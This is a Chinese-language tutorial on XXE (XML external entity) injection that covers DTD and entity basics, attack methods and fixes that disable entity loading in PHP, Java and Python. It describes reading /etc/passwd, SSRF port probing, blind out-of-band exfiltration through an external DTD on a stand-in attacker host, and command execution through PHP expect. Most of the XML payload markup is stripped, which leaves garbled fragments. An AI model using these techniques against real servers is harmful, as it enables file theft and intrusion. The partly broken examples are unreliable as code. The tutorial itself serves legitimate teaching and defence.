~~~~~~~~ 因为想要面对一个新的开始,一个人必须有梦想、有希望、有对未来的憧憬。如果没有这些,就不叫新的开始,而叫逃亡。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ————玛丽亚·杜埃尼亚斯
XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件 和 代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
要了解XXE漏洞,那么一定得先明白基础知识,了解XML文档的基础组成。
XML 指可扩展标记语言(Extensible Markup Language)。
XML是独立于软件和硬件的信息传输工具,它把数据从HTML中分离。 XML语言没有预定义的标签,允许作者定义自己的标签和自己的文档结构。
XML 文档必须有一个根元素
短头发
大眼睛
可爱的脸庞
我最爱的女孩
XML文档结构包括XML声明、DTD文档类型定义、文档元素。而DTD就是用来控制文档的一个格式规范的。
如图中的DTD就定义了XML的根元素为note,然后根元素下面有一些子元素(to,from,heading,body),那么下面的文档元素就必须是这些元素。
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体 以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对 待,其中的实体也不会被展开。
实体的引用分为内部引用和外部引用,而实体又分为通用实体和参数实体。
内部引用
其实除了在DTD中定义元素以外,我们还可以在DTD中定义实体(相当于一个变量),我们可以在XML中通过“&”符号进行引用。
格式:
比如如下代码:
#定义元素为ANY表示接收任何元素
]> #定义了一个实体xxe
&xxe; #使用&xxe对实体进行引用,输出时就被“test”替换
mypass
外部引用
上面举的例子是内部引用,但实际上我们可以从外部的dtd文件中引用。
格式:
比如:
George
John
Reminder
Don't forget the meeting!
note.dtd的内容为:
特殊符号引用
在XML中,一些字符拥有特殊的意义,如果把这些直接放进XML元素中会产生错误。比如下面这个插入了“<”符号,解析器会把它当作新元素的开始,就会产生错误。
if salary < 1000 then
为了避免这个错误,我们可以用实体引用来替代这些特殊的字符。比如:
if salary < 1000 then
在XML中有5个预定义的实体引用
实体 | 特殊符号 | 描述 |
---|---|---|
< |
< | 小于 |
> |
> | 大于 |
& |
& | 和号 |
' |
’ | 省略号 |
" |
" | 引号 |
通用实体
通用实体用&实体名引用,在DTD中定义,在XML文档中都可以使用。比如:
]>
Joe
&file;
...
参数实体
参数实体使用% 实体名(空格不能少)在DTD中定义,并且只能在DTD中使用&实体名;引用。
只有在DTD文件中,参数实体的声明才能引用其他实体。参数实体也可以外部引用。
">
%an-element; %remote-dtd;
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。
那么如何构建外部实体注入呢?
方式一:直接通过DTD外部实体声明
]>
&b;
方式二:通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明(通用实体)
]>
&b;
#而http://mark4z5.com/evil.dtd内容为
方式三:通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明(参数实体)
]>
%b;
#http://mark4z5.com/evil.dtd文件内容
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题。例如敏感文件读取。
以下是一个简单的XML代码POST请求实例:
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1
John, Doe
I love XML
Computers
9.99
2018-10-01
XML is the best!
上述代码将会由服务器的XML解析器进行解析,并返回{“Request Successful”: “Added!”}
现在我们编辑XML代码,使其包含我们恶意的payload:
]>
John, Doe
I love XML
Computers
9.99
2018-10-01
&xxe;
代码将会被解释并返回如下,可以看出,服务器将/etc/passwd文件的内容作为响应返回给我们的XXE。
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...
在某些情况下,即便是服务器可能存在XXE,也不会向攻击者的浏览器或代理返回任何响应。遇到这种情况,我们可以使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。虽然我们无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描及代码。
在任意文件读取中,我们通过url将请求指向了/etc/passwd文件,并最终成功的返回了文件中的内容。此外,我们还可以使用http url并强制服务器向我们指定的端点和端口发送get请求,将XXE转换成SSRF(服务器端跨站请求伪造)
下列代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。
]>
John, Doe
I love XML
Computers
9.99
2018-10-01
&xxe;
外部文档类型定义(DTD)文件可被用于触发OOB XXE。攻击者将.dtd文件托管在VPS上,使远程易受攻击的服务器获取该文件并执行其中的恶意命令。
以下请求将被发送到应用程序以演示和测试该方法:
John, Doe
I love XML
Computers
9.99
2018-10-01
&xxe;
以上代码一旦由易受攻击的服务器处理,就会向我们的远程服务器发送请求,查找包含我们payload的DTD文件如下:
">
%all;
我们来梳理一下流程:第一次请求中,我们构造并引用了xxe_file.dtd这个文件。第二次请求则为文件中/etc/passwd文件的内容。通过对vps日志文件的查看,可以看见如下记录,因此确认了OOB XXE漏洞的存在。
http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh
这种情况相对较少,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且php expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:
]>
John, Doe
I love XML
Computers
9.99
2018-10-01
&xxe;
响应内容:
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
通过手工篡改网站中xml实体中的头部,加入相关的读取文件、命令执行或是链接等,如file:///$path/file.txt;http://url/file.txt;看看能否显示出来,可以帮助我们发现是否存在XXE漏洞。
方案一:使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二:过滤用户提交的XML数据
关键词:
通过以上的分析可以看出,能够手动的编辑web请求对于XXE攻击至关重要。主要问题也是XML解析器解析了用户发送的不可信数据。因此最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。
相关文章:
一篇文章带你深入理解漏洞之 XXE 漏洞
xxe漏洞原理与防御
XXE漏洞利用技巧:从XML到远程代码执行
XXE(XML外部实体注入)